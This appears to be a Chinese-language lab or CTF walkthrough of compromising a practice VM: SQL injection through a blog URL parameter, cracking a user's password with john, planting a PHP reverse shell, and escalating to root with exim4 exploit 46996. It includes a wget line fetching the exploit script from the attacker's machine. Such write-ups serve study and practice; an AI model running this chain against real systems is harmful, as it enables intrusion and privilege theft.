信息收集
老规矩,扫描一波IP地址,发现靶机的IP和开放端口,靶机开放了80和22端口,推测我们又要从80端口开始渗透
前渗透阶段
进入靶机的80页面之后发现是一个博客页面,随便点点,发现URL会发生变化,
看着挺像做SQL注入时的靶场,所以,测试一下SQL注入,
我在这里猜测一下这个SQL漏洞的原理,对于URL中GET到的数据没有做出防护而且默认给我们会自动加上’进行闭合,而我们如果输入语句进行闭合那么之后的语句不会被执行。而且这里只有三个字段名,所以我们在nid后的数字只要不填123就可以注入
所以利用SQL注入拿数据库名,表名,字段名,用户名和密码
然后启用kali中的john开始对得到的密码进行暴力破解,最后可以得到john的密码(admin的密码就别想了),
得到john的密码为turtle,本来我想用ssh连接但最后失败了,所以就只能把注意力转到80页面,登录一波,(登录页面可以通过查看rebots.txt来查看),登录john的账号,
看看有没有什么值得注意的地方,最后发现,这个博客支持PHP语言,
后渗透阶段
所以对页面进行写入反弹shell的PHP代码(原本试了一句话木发现不行),kali监听端口,然后利用pyhton实现交互式shell,
再查看当前用户的权限,最后发现,在/usr/bin/exim4当前用户具有较高的权限,
在kali中searchsploits一下发现了,不少漏洞,我看了别人的wp之后,发现46996是用的最频繁的(主要是它自身就是一个脚本),
把46996转换成unix支持的文件格式要不然执行的时候会报错(我被这一步卡了好久,心态炸裂),
然后在kali上开启web服务,将脚本下载到靶机上(最好是/tmp下,我在其他目录下发现www-data用户没有权限),
python -m SimpleHTTPServer //kali开启http服务的命令
wget http://1921.168.1.210/12138.sh //从kali中下载脚本
给脚本权限之后运行,就可以拿到root权限,最后拿到flag,